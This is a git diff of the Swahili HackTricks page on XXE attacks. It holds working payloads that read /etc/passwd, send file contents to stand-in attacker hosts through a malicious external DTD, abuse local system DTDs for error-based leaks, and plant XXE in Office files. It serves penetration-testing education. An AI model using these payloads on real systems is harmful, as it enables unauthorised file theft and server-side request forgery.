||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -419,6 +429,6 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,38 +1,42 @@
|
|||
# XXE - XEE - XML External Entity
|
||||
# XXE - XEE - Kifaa cha Kigeni cha XML
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Misingi ya XML
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
XML ni lugha ya alama iliyoundwa kwa uhifadhi na usafirishaji wa data, ikionyesha muundo mpana unaoruhusu matumizi ya vitambulisho vilivyopewa majina ya kuelezea. Inatofautiana na HTML kwa kutokuwa na kikomo cha vitambulisho vilivyopangwa mapema. Umuhimu wa XML umepungua na kuibuka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
* **Uwakilishi wa Data kupitia Entiti**: Entiti katika XML inawezesha uwakilishaji wa data, ikiwa ni pamoja na herufi maalum kama vile `<` na `>`, ambazo zinafaanana na `<` na `>` ili kuepuka mgongano na mfumo wa vitambulisho vya XML.
|
||||
* **Kuainisha Elementi za XML**: XML inaruhusu kuainisha aina za elementi, ikielezea jinsi elementi zinavyopaswa kuwa na muundo na yaliyomo wanayoweza kuwa nayo, kutoka aina yoyote ya yaliyomo hadi elementi maalum za watoto.
|
||||
## Msingi wa XML
|
||||
|
||||
XML ni lugha ya alama iliyoundwa kwa uhifadhi na usafirishaji wa data, ikionyesha muundo mpana unaoruhusu matumizi ya vitambulisho vilivyoelezwa kwa maelezo. Inatofautiana na HTML kwa kutokuwa na kikomo cha vitambulisho vilivyowekwa mapema. Umuhimu wa XML umepungua na kuibuka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX.
|
||||
|
||||
* **Uwakilishaji wa Data kupitia Vitu**: Vitu katika XML huwezesha uwakilishaji wa data, ikiwa ni pamoja na herufi maalum kama `<` na `>`, ambazo zinafaana na `<` na `>` ili kuepuka mgongano na mfumo wa vitambulisho vya XML.
|
||||
* **Kuainisha Elementi za XML**: XML inaruhusu ufafanuzi wa aina za elementi, ikieleza jinsi elementi zinavyopaswa kuwa na muundo na yaliyomo wanayoweza kuwa nayo, kutoka aina yoyote ya yaliyomo hadi elementi maalum za watoto.
|
||||
* **Ufafanuzi wa Aina ya Nyaraka (DTD)**: DTD ni muhimu katika XML kwa kuainisha muundo wa nyaraka na aina za data inaweza kuwa nayo. Wanaweza kuwa ndani, nje, au mchanganyiko, kuongoza jinsi nyaraka zinavyopangwa na kuhakikiwa.
|
||||
* **Entiti za Kibinafsi na za Nje**: XML inaunga mkono uundaji wa entiti za kibinafsi ndani ya DTD kwa uwakilishaji wa data wenye mabadiliko. Entiti za nje, zilizoainishwa na URL, zinazua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya XML External Entity (XXE), ambayo yanatumia jinsi wapangaji wa XML wanavyoshughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
* **Uchunguzi wa XXE kwa Kutumia Entiti za Parameta**: Kwa kugundua udhaifu wa XXE, hasa wakati njia za kawaida zinashindwa kutokana na hatua za usalama za wapangaji, entiti za parameta za XML zinaweza kutumika. Entiti hizi huruhusu mbinu za uchunguzi nje ya mtandao, kama vile kuzindua uchunguzi wa DNS au maombi ya HTTP kwa kikoa kilichodhibitiwa, kuthibitisha udhaifu.
|
||||
* **Vitu za Kibinafsi na za Kigeni**: XML inasaidia uundaji wa vitu vya kibinafsi ndani ya DTD kwa uwakilishaji wa data wenye mpana. Vitu vya kigeni, vilivyoelezwa na URL, vinazua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya Vitu vya Kigeni vya XML (XXE), ambavyo huchexploit njia ambayo wapangaji wa XML wanashughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
* **Uchunguzi wa XXE na Vitu vya Parameta**: Kwa kugundua udhaifu wa XXE, hasa wakati njia za kawaida zinashindwa kutokana na hatua za usalama za wapangaji, vitu vya parameta vya XML vinaweza kutumika. Vitu hivi huruhusu mbinu za uchunguzi nje ya mtandao, kama kuzindua uchunguzi wa DNS au maombi ya HTTP kwa kikoa kilichodhibitiwa, kuthibitisha udhaifu.
|
||||
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
## Mashambulizi Makuu
|
||||
|
||||
[**Mashambulizi mengi yalijaribiwa kwa kutumia maabara ya kushangaza ya Portswiggers XEE: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### Jaribio la Entiti Mpya
|
||||
### Jaribio la Kifaa Kipya
|
||||
|
||||
Katika shambulizi hili, ninafanya jaribio la kuona kama tangazo rahisi la ENTITI mpya linaweza kufanya kazi
|
||||
Katika shambulizi hili ninajaribu kama tangazo rahisi la KIFAA kipya linavyofanya kazi
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
|
||||
|
@ -45,13 +49,13 @@ Katika shambulizi hili, ninafanya jaribio la kuona kama tangazo rahisi la ENTITI
|
|||
|
||||
Hebu jaribu kusoma `/etc/passwd` kwa njia tofauti. Kwa Windows unaweza kujaribu kusoma: `C:\windows\system32\drivers\etc\hosts`
|
||||
|
||||
Katika kesi hii ya kwanza, tafadhali kumbuka kwamba SYSTEM "_\*\*file:///\*\*etc/passwd_" itafanya kazi pia.
|
||||
Katika kesi hii ya kwanza, tafadhali kumbuka kwamba SYSTEM "_\*\*file:///\*\*etc/passwd_" pia itafanya kazi.
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
Hii kesi ya pili inaweza kuwa na manufaa kutoa faili ikiwa mtandao wa seva unatumia PHP (Sio kesi ya maabara ya Portswiggers)
|
||||
Kesi hii ya pili inaweza kuwa na manufaa kutoa faili ikiwa seva ya wavuti inatumia PHP (Sio kesi ya Maabara ya Portswiggers)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
|
@ -91,7 +95,7 @@ XXE inaweza kutumika kudhuru SSRF ndani ya wingu
|
|||
```
|
||||
### Blind SSRF
|
||||
|
||||
Kwa kutumia **njia iliyotajwa hapo awali** unaweza kufanya server ufikie server unayodhibiti ili kuonyesha kuwa ni dhaifu. Lakini, ikiwa hiyo haifanyi kazi, labda ni kwa sababu **viumbe vya XML haviruhusiwi**, katika kesi hiyo unaweza jaribu kutumia **viumbe vya XML vigezo**:
|
||||
Kwa kutumia **njia iliyotajwa hapo awali**, unaweza kufanya server ufikie server unayodhibiti ili kuonyesha kuwa ni dhaifu. Lakini, ikiwa hiyo haifanyi kazi, labda ni kwa sababu **viumbe vya XML haviruhusiwi**, katika kesi hiyo unaweza jaribu kutumia **viumbe vya parameta za XML**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
|
@ -99,7 +103,7 @@ Kwa kutumia **njia iliyotajwa hapo awali** unaweza kufanya server ufikie server
|
|||
```
|
||||
### SSRF "Blind" - Toa data nje ya bandari
|
||||
|
||||
**Katika tukio hili tutafanya server kupakia DTD mpya na mzigo mbaya ambao utatuma maudhui ya faili kupitia ombi la HTTP (**kwa faili zenye mistari mingi unaweza kujaribu kuitoa kupitia** _**ftp://**_ kutumia server huu wa msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**maabara ya Portswigger hapa**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**Katika tukio hili tutafanya server kupakia DTD mpya na mzigo mbaya ambao utatuma maudhui ya faili kupitia ombi la HTTP (**kwa **faili za mistari nyingi unaweza kujaribu kuitoa kupitia** _**ftp://**_ kutumia server huu wa msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**maabara ya Portswigger hapa**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
Katika DTD mbaya iliyotolewa, hatua kadhaa zinafanywa kutoa data:
|
||||
|
||||
|
@ -113,32 +117,32 @@ Katika DTD mbaya iliyotolewa, hatua kadhaa zinafanywa kutoa data:
|
|||
Hatua zilizotekelezwa na DTD hii ni:
|
||||
|
||||
1. **Ufafanuzi wa Vipengele vya Parameta:**
|
||||
* Kipengele cha parameta cha XML, `%file`, kinaundwa, kikisoma maudhui ya faili `/etc/hostname`.
|
||||
* Kipengele kingine cha parameta cha XML, `%eval`, kinafafanuliwa. Kinaanzisha kwa kudai kipengele kipya cha parameta cha XML, `%exfiltrate`. Kipengele cha `%exfiltrate` kimewekwa kufanya ombi la HTTP kwa seva ya muhusika, kikipitisha maudhui ya kipengele cha `%file` ndani ya mfuatilizi wa URL.
|
||||
* Kipengele cha parameta cha XML, `%file`, kinaundwa, kusoma maudhui ya faili `/etc/hostname`.
|
||||
* Kipengele kingine cha parameta cha XML, `%eval`, kinafafanuliwa. Kinafafanua kwa kudai kipengele kipya cha parameta cha XML, `%exfiltrate`. Kipengele cha `%exfiltrate` kinasanidiwa kufanya ombi la HTTP kwa seva ya muhusika, kupitisha maudhui ya kipengele cha `%file` ndani ya mfuatano wa query wa URL.
|
||||
2. **Utekelezaji wa Vipengele:**
|
||||
* Kipengele cha `%eval` kinatumika, kusababisha utekelezaji wa tangazo la kipengele cha `%exfiltrate`.
|
||||
* Kipengele cha `%exfiltrate` kisha hutumiwa, kuzindua ombi la HTTP kwa URL iliyotajwa na maudhui ya faili.
|
||||
|
||||
Mshambuliaji huanzisha DTD hii yenye nia mbaya kwenye seva chini ya udhibiti wao, kawaida kwenye URL kama `http://web-attacker.com/malicious.dtd`.
|
||||
|
||||
**Mzigo wa XXE:** Ili kutumia programu iliyodhaifu, mshambuliaji hutoa mzigo wa XXE:
|
||||
**Mzigo wa XXE:** Ili kutumia programu inayoweza kudhurika, mshambuliaji hutoa mzigo wa XXE:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Hii mzigo unatambulisha kipengele cha XML cha parameter `%xxe` na kukiingiza ndani ya DTD. Wakati inapopitishwa na kihariri wa XML, mzigo huu huchukua DTD ya nje kutoka kwenye seva ya mkaidi. Kihariri kisha hufasiri DTD kwa mstari, kutekeleza hatua zilizoelezwa kwenye DTD yenye nia mbaya na kusababisha kuvuja kwa faili ya `/etc/hostname` kwenda kwa seva ya mkaidi.
|
||||
Hii mzigo inadefine XML parameter entity `%xxe` na kuijumuisha ndani ya DTD. Wakati inapopitishwa na parser ya XML, hii mzigo inapata DTD ya nje kutoka kwenye server ya mshambuliaji. Kisha parser inachambua DTD kwa mstari, kutekeleza hatua zilizoelezwa kwenye DTD yenye nia mbaya na kusababisha kuvuja kwa faili ya `/etc/hostname` kwenye server ya mshambuliaji.
|
||||
|
||||
### Kulingana na Kosa (DTD ya Nje)
|
||||
|
||||
**Katika kesi hii, tutafanya seva iweke DTD mbaya ambayo itaonyesha maudhui ya faili ndani ya ujumbe wa kosa (hii ni sahihi tu ikiwa unaweza kuona ujumbe wa kosa).** [**Mfano kutoka hapa.**](https://portswigger.net/web-security/xxe/blind)
|
||||
**Katika kesi hii, tutafanya server ipakie DTD yenye nia mbaya ambayo itaonyesha maudhui ya faili ndani ya ujumbe wa kosa (hii ni sahihi tu ikiwa unaweza kuona ujumbe wa kosa).** [**Mfano kutoka hapa.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Ujumbe wa kosa wa uparaganyaji wa XML, unaofunua maudhui ya faili ya `/etc/passwd`, unaweza kusababishwa kwa kutumia Maelezo ya Aina ya Hatari ya Nje (DTD) mbaya. Hii inafanikishwa kupitia hatua zifuatazo:
|
||||
Ujumbe wa kosa wa uchambuzi wa XML, unaofunua maudhui ya faili ya `/etc/passwd`, unaweza kuzinduliwa kwa kutumia Document Type Definition (DTD) ya nje yenye nia mbaya. Hii inafanikishwa kupitia hatua zifuatazo:
|
||||
|
||||
1. Kipengele cha parameter cha XML kinachoitwa `file` kinafafanuliwa, ambacho kina maudhui ya faili ya `/etc/passwd`.
|
||||
2. Kipengele cha parameter cha XML kinachoitwa `eval` kinafafanuliwa, kukiingiza kipengele cha parameter cha XML kingine kinachoitwa `error`. Kipengele hiki cha `error`, wakati kinachunguzwa, kinajaribu kupakia faili isiyopo, kukiingiza maudhui ya kipengele cha `file` kama jina lake.
|
||||
3. Kipengele cha `eval` kinaitwa, kusababisha kutangazwa kwa kipengele cha `error`.
|
||||
4. Kuwaita kwa kipengele cha `error` kunasababisha jaribio la kupakia faili isiyopo, kuzalisha ujumbe wa kosa ambao unajumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
|
||||
1. Kipengele cha XML kinachoitwa `file` kinafafanuliwa, ambacho kina maudhui ya faili ya `/etc/passwd`.
|
||||
2. Kipengele cha XML kinachoitwa `eval` kinafafanuliwa, kuijumuisha kauli ya kudai ya kipengele kingine cha XML kinachoitwa `error`. Kipengele hiki cha `error`, wakati kinachunguzwa, kinajaribu kupakia faili isiyopo, kuijumuisha maudhui ya kipengele cha `file` kama jina lake.
|
||||
3. Kipengele cha `eval` kinaitwa, kusababisha kudai kwa kipengele cha `error`.
|
||||
4. Wito wa kipengele cha `error` husababisha jaribio la kupakia faili isiyopo, kuzalisha ujumbe wa kosa ambao unajumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
|
||||
|
||||
DTD ya nje yenye nia mbaya inaweza kuitwa kwa kutumia XML ifuatayo:
|
||||
```xml
|
||||
|
@ -146,13 +150,13 @@ DTD ya nje yenye nia mbaya inaweza kuitwa kwa kutumia XML ifuatayo:
|
|||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### **Kosa Kulingana na Kosa (system DTD)**
|
||||
### **Kosa Kulingana na (mfumo wa DTD)**
|
||||
|
||||
Kwa hivyo, ni vipi kuhusu udhaifu wa XXE wa kipofu wakati **mwingiliano wa nje wa mtandao umefungwa** (mawasiliano ya nje hayapatikani)?.
|
||||
Kwa hivyo, ni nini kuhusu udhaifu wa XXE wa kipofu wakati **mwingiliano wa nje wa bandia umefungwa** (mawasiliano ya nje hayapatikani)?.
|
||||
|
||||
Hitilafu katika maelezo ya lugha ya XML inaweza **kufunua data nyeti kupitia ujumbe wa kosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Shida hii inaruhusu upya wa ndani wa viungo vilivyotangazwa kwa nje, kurahisisha utekelezaji wa mashambulizi ya XXE yanayotokana na kosa. Mashambulizi kama hayo hufaidika na upya wa kipengele cha XML, kilichotangazwa awali katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati mwingiliano wa nje wa mtandao unazuiliwa na seva, wachomaji lazima wategemee faili za DTD za ndani kufanya shambulizi, wakilenga kusababisha kosa la upangaji ili kufunua habari nyeti.
|
||||
Hitilafu katika maelezo ya lugha ya XML inaweza **kufunua data nyeti kupitia ujumbe wa kosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Shida hii inaruhusu upya wa ndani wa viungo vilivyotangazwa kwa nje, kurahisisha utekelezaji wa mashambulizi ya XXE yanayotokana na kosa. Mashambulizi kama hayo hufaidika na upya wa kipengele cha XML, kilichotangazwa awali katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati mwingiliano wa nje unazuiliwa na seva, wachomaji lazima wategemee faili za DTD za ndani kufanya shambulizi, wakilenga kusababisha kosa la uparaganyaji kufunua habari nyeti.
|
||||
|
||||
Fikiria hali ambapo mfumo wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikidefiniisha kipengele kinachoitwa `custom_entity`. Mchomaji anaweza kusababisha kosa la upangaji wa XML kufunua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya mchanganyiko kama ifuatavyo:
|
||||
Fikiria hali ambapo mfumo wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikidefiniisha kipengele kinachoitwa `custom_entity`. Mchomaji anaweza kusababisha kosa la uparaganyaji wa XML kufunua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya hibridi kama ifuatavyo:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
|
@ -167,9 +171,9 @@ Fikiria hali ambapo mfumo wa seva una faili ya DTD katika `/usr/local/app/schema
|
|||
```
|
||||
Hatua zilizoelezwa zinatekelezwa na DTD hii:
|
||||
|
||||
* Ufafanuzi wa kipengele cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa seva.
|
||||
* Ubadilishaji unatokea kwa kipengele cha XML cha `custom_entity`, kilichoelezwa awali katika DTD ya nje, ili kufunga [shambulio la XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ubadilishaji huu umepangwa kusababisha kosa la uchambuzi, kufunua maudhui ya faili ya `/etc/passwd`.
|
||||
* Kwa kutumia kipengele cha `local_dtd`, DTD ya nje inatumika, ikijumuisha kipengele kilichoelezwa upya cha `custom_entity`. Mfululizo huu wa hatua unasababisha kutolewa kwa ujumbe wa kosa uliolengwa na shambulio.
|
||||
* Ufafanuzi wa kipengele cha parameter cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa seva.
|
||||
* Ubadilishaji unatokea kwa kipengele cha parameter cha XML kinachoitwa `custom_entity`, kilichoelezwa awali katika DTD ya nje, ili kufunga [shambulio la XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ubadilishaji huu umepangwa kusababisha kosa la uchambuzi, kufunua maudhui ya faili ya `/etc/passwd`.
|
||||
* Kwa kutumia kipengele cha `local_dtd`, DTD ya nje inatumika, ikijumuisha kipengele kilichofafanuliwa kwa upya cha `custom_entity`. Mfululizo huu wa hatua unasababisha kutolewa kwa ujumbe wa kosa uliolengwa na shambulio.
|
||||
|
||||
**Mfano halisi:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD kwenye `/usr/share/yelp/dtd/docbookx.dtd` inayojumuisha kipengele kinachoitwa `ISOamso`
|
||||
```xml
|
||||
|
@ -186,7 +190,7 @@ Hatua zilizoelezwa zinatekelezwa na DTD hii:
|
|||
]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Kwa kuwa mbinu hii inatumia **DTD ya ndani unahitaji kwanza kupata moja inayofaa**. Unaweza kufanya hivi **kwa kusakinisha** **OS / Programu** ile ile ambayo seva inatumia na **kutafuta DTD za msingi**, au **kupata orodha** ya **DTD za msingi** ndani ya mifumo na **kuangalia** kama moja kati yao ipo:
|
||||
Kwa kuwa mbinu hii inatumia **DTD ya ndani unahitaji kwanza kupata moja inayofaa**. Unaweza kufanya hivi **kwa kusakinisha** **OS / Programu** ile ile inayotumiwa na seva na **kutafuta DTD za msingi**, au **kupata orodha** ya **DTD za msingi** ndani ya mifumo na **kuangalia** kama moja kati yao ipo:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
|
@ -213,21 +217,21 @@ Testing 0 entities : []
|
|||
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
|
||||
Testing 0 entities : []
|
||||
```
|
||||
### XXE kupitia Parsers ya Office Open XML
|
||||
### XXE kupitia Wapambanuzi wa Ofisi ya Open XML
|
||||
|
||||
Kwa maelezo zaidi kuhusu shambulio hili, **angalia sehemu ya pili ya** [**chapisho hili la kushangaza**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **kutoka Detectify**.
|
||||
|
||||
Uwezo wa **kupakia nyaraka za Microsoft Office unatolewa na programu nyingi za wavuti**, ambazo kisha huendelea kutoa maelezo fulani kutoka kwa nyaraka hizi. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuagiza data kwa kupakia karatasi ya muundo wa XLSX. Ili kipambanuzi uweze kutoa data kutoka kwenye karatasi ya muundo huo, italazimika bila shaka kuchambua angalau faili moja ya XML.
|
||||
Uwezo wa **kupakia nyaraka za Microsoft Office unatolewa na programu nyingi za wavuti**, ambazo kisha hufanya kazi ya kutoa maelezo fulani kutoka kwa nyaraka hizi. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuagiza data kwa kupakia karatasi ya muundo wa XLSX. Ili kipambanuzi kutoe data kutoka kwenye karatasi ya muundo huo, italazimika kuchambua angalau faili moja ya XML.
|
||||
|
||||
Ili kujaribu udhaifu huu, ni muhimu kuunda **faili ya Microsoft Office inayojumuisha mzigo wa XXE**. Hatua ya kwanza ni kuunda saraka tupu ambayo nyaraka inaweza kufunguliwa.
|
||||
Ili kuthibitisha udhaifu huu, ni lazima kuunda **faili ya Microsoft Office inayojumuisha mzigo wa XXE**. Hatua ya kwanza ni kuunda saraka tupu ambayo nyaraka inaweza kufunguliwa.
|
||||
|
||||
Baada ya nyaraka kufunguliwa, faili ya XML iliyoko kwenye `./unzipped/word/document.xml` inapaswa kufunguliwa na kuhaririwa kwenye mhariri wa maandishi unaopendelewa (kama vile vim). XML inapaswa kuhaririwa ili kujumuisha mzigo wa XXE unaotakiwa, mara nyingi ukiwaanza na ombi la HTTP.
|
||||
Baada ya nyaraka kufunguliwa, faili ya XML iliyoko kwenye `./unzipped/word/document.xml` inapaswa kufunguliwa na kuhaririwa kwa kutumia mhariri wa maandishi unaopendelewa (kama vile vim). XML inapaswa kuhaririwa ili kujumuisha mzigo wa XXE unaotakiwa, mara nyingi ukiwa na ombi la HTTP.
|
||||
|
||||
Mistari iliyohaririwa ya XML inapaswa kuingizwa kati ya vitu viwili vya mizizi ya XML. Ni muhimu kubadilisha URL na URL inayoweza kufuatiliwa kwa maombi.
|
||||
Mistari iliyohaririwa ya XML inapaswa kuwekwa kati ya vitu viwili vya mizizi ya XML. Ni muhimu kubadilisha URL na URL inayoweza kufuatiliwa kwa maombi.
|
||||
|
||||
Hatimaye, faili inaweza kufungwa ili kuunda faili ya poc.docx yenye nia mbaya. Kutoka kwenye saraka iliyoundwa hapo awali "unzipped", amri ifuatayo inapaswa kutumika:
|
||||
|
||||
Sasa, faili iliyoundwa inaweza kupakiwa kwenye programu ya wavuti inayoweza kuwa na udhaifu, na mtu anaweza kutumai ombi litatokea kwenye magogo ya Burp Collaborator.
|
||||
Sasa, faili iliyoundwa inaweza kupakiwa kwenye programu ya wavuti inayoweza kuwa na udhaifu, na mtu anaweza kutumaini ombi litatokea katika magogo ya Burp Collaborator.
|
||||
|
||||
### Itifaki ya Jar
|
||||
|
||||
|
@ -237,24 +241,24 @@ jar:file:///var/myarchive.zip!/file.txt
|
|||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Ili kuweza kupata faili ndani ya faili za PKZIP ni **muhimu sana kudanganya XXE kupitia faili za DTD za mfumo.** Angalia [sehemu hii kujifunza jinsi ya kudanganya faili za DTD za mfumo](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
Ili kuweza kupata faili ndani ya faili za PKZIP ni **muhimu sana kwa kutumia XXE kupitia faili za DTD za mfumo.** Angalia [sehemu hii kujifunza jinsi ya kutumia faili za DTD za mfumo](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
{% endhint %}
|
||||
|
||||
Mchakato wa kupata faili ndani ya kiwango cha PKZIP kupitia itifaki ya jar unajumuisha hatua kadhaa:
|
||||
|
||||
1. Ombi la HTTP linatumiwa kupakua kiwango cha zip kutoka mahali maalum, kama vile `https://download.website.com/archive.zip`.
|
||||
2. Majibu ya HTTP yanayohusisha kiwango hicho hukusanywa kwa muda kwenye mfumo, kawaida kwenye eneo kama `/tmp/...`.
|
||||
1. Ombi la HTTP linatolewa kupakua kiwango cha zip kutoka mahali maalum, kama vile `https://download.website.com/archive.zip`.
|
||||
2. Majibu ya HTTP yanayoitikia kiwango hicho hukusanywa kwa muda kwenye mfumo, kawaida kwenye eneo kama `/tmp/...`.
|
||||
3. Kiwango hicho kisha hukunjuliwa ili kupata maudhui yake.
|
||||
4. Faili maalum ndani ya kiwango hicho, `file.zip`, hufunguliwa.
|
||||
4. Faili maalum ndani ya kiwango hicho, `file.zip`, inasomwa.
|
||||
5. Baada ya operesheni, faili za muda zilizoundwa wakati wa mchakato huu hufutwa.
|
||||
|
||||
Mbinu ya kuvuruga mchakato huu katika hatua ya pili inajumuisha kuweka uhusiano wa seva ukiwa wazi milele wakati wa kutumikia faili ya kiwango. Zana zilizopo kwenye [hifadhi hii](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) zinaweza kutumika kwa kusudi hili, ikiwa ni pamoja na seva ya Python (`slow_http_server.py`) na seva ya Java (`slowserver.jar`).
|
||||
